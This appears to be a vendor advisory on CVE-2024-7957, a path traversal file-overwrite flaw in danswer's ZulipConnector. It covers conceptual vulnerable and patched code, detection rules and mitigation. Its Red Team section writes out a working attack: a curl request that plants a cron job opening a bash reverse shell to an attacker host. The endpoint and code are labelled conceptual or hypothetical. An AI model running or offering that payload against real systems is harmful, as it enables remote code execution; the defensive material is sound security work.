CVE-2024-7957
Executive Summary
CVE-2024-7957 is a critical arbitrary file overwrite vulnerability (CVSS 9.1) in the ZulipConnector component of danswer-ai/danswer. The flaw resides in the load_credentials method, where user-controlled realm_name and zuliprc_content parameters are used to construct file paths and write file contents without proper sanitization. An attacker can overwrite or create arbitrary files on the server if a zuliprc- directory already exists in the temporary directory. This can lead to privilege escalation, denial of service, or remote code execution. No public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package danswer-ai/danswer. The ZulipConnector is a third-party integration component. Users should verify the integrity of their deployment and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The vulnerability is remotely exploitable without authentication, making it highly dangerous for internet-facing deployments.
Deep Dive & Mechanics
The vulnerability exists in the load_credentials method of the ZulipConnector. The method accepts realm_name and zuliprc_content from user input. It constructs a file path by concatenating a temporary directory with the realm_name parameter (e.g., /tmp/zuliprc-{realm_name}). The zuliprc_content is then written to this path. If an attacker provides a realm_name containing path traversal sequences (e.g., ../), they can write files outside the intended directory. The prerequisite is that a zuliprc- directory already exists in the temporary directory, which is typical after initial setup.
Attack Flow:
- Attacker identifies a Danswer instance with ZulipConnector enabled.
- Attacker sends a crafted request with
realm_nameset to../../etc/cron.d/maliciousandzuliprc_contentset to a cron job payload. - The server writes the payload to
/etc/cron.d/malicious, leading to code execution.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
def load_credentials(self, realm_name, zuliprc_content):
temp_dir = tempfile.gettempdir()
file_path = os.path.join(temp_dir, f"zuliprc-{realm_name}")
with open(file_path, 'w') as f:
f.write(zuliprc_content)
Patched Code (Hypothetical):
def load_credentials(self, realm_name, zuliprc_content):
# Sanitize realm_name to prevent path traversal
safe_realm = re.sub(r'[^a-zA-Z0-9_-]', '', realm_name)
temp_dir = tempfile.gettempdir()
file_path = os.path.join(temp_dir, f"zuliprc-{safe_realm}")
# Ensure file is within the intended directory
if not os.path.realpath(file_path).startswith(os.path.realpath(temp_dir)):
raise ValueError("Invalid realm_name")
with open(file_path, 'w') as f:
f.write(zuliprc_content)
Exploitation & Lab Setup
Red Team
Prerequisites:
- Danswer instance with ZulipConnector enabled.
- A
zuliprc-directory exists in/tmp/(common after initial setup).
Exploit Steps:
- Identify the target endpoint (e.g.,
/api/zulip/credentials). - Craft a POST request with:
realm_name:../../etc/cron.d/evilzuliprc_content:* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
- Send the request.
- Wait for cron to execute the payload and receive a reverse shell.
Example cURL:
curl -X POST https://target.com/api/zulip/credentials \
-d "realm_name=../../etc/cron.d/evil" \
-d "zuliprc_content=* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"
Blue Team
Detection:
- Monitor for unusual file writes in
/tmp/and/etc/cron.d/. - Alert on requests to ZulipConnector endpoints with suspicious
realm_nameparameters (e.g., containing../). - Use file integrity monitoring (FIM) on critical system directories.
Mitigation:
- Disable ZulipConnector if not in use.
- Apply input validation and sanitization for
realm_name. - Restrict write permissions on
/tmp/and use a dedicated secure directory.
Indicators of Compromise (IOCs)
- File Paths:
/tmp/zuliprc-*(unexpected files),/etc/cron.d/*(unexpected cron jobs) - Network: Outbound connections to attacker IPs on common ports (e.g., 4444, 8080)
- Process: Unusual cron jobs or shell processes spawned by root
- Logs: HTTP requests with
realm_namecontaining path traversal sequences
Detection Engineering
YARA Rule
rule CVE_2024_7957_FileOverwrite {
meta:
description = "Detects attempts to exploit CVE-2024-7957 via path traversal in realm_name"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-7957"
strings:
$path_traversal = /\.\.\// nocase
$zuliprc = "zuliprc" nocase
condition:
$zuliprc and $path_traversal
}
Sigma Rule
title: CVE-2024-7957 ZulipConnector Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with path traversal in realm_name parameter
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains:
- "realm_name=../"
- "realm_name=%2e%2e/"
condition: selection
falsepositives:
- Legitimate use of dots in realm names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-7957 ZulipConnector Path Traversal"; flow:to_server; content:"realm_name"; http_client_body; content:"../"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the ZulipConnector component if not required.
- Implement a Web Application Firewall (WAF) rule to block requests containing
../in therealm_nameparameter. - Restrict write permissions on
/tmp/and use a dedicated secure directory for temporary files.
Long-term Fix:
- Apply input validation and sanitization for
realm_name(allow only alphanumeric characters and hyphens). - Use absolute path checks to ensure files are written only within the intended directory.
- Monitor vendor updates and apply patches when available.
Workaround:
- Modify the
load_credentialsmethod to use a fixed, safe directory and reject anyrealm_namecontaining path traversal characters.
Valters IT
Securing Digital Frontiers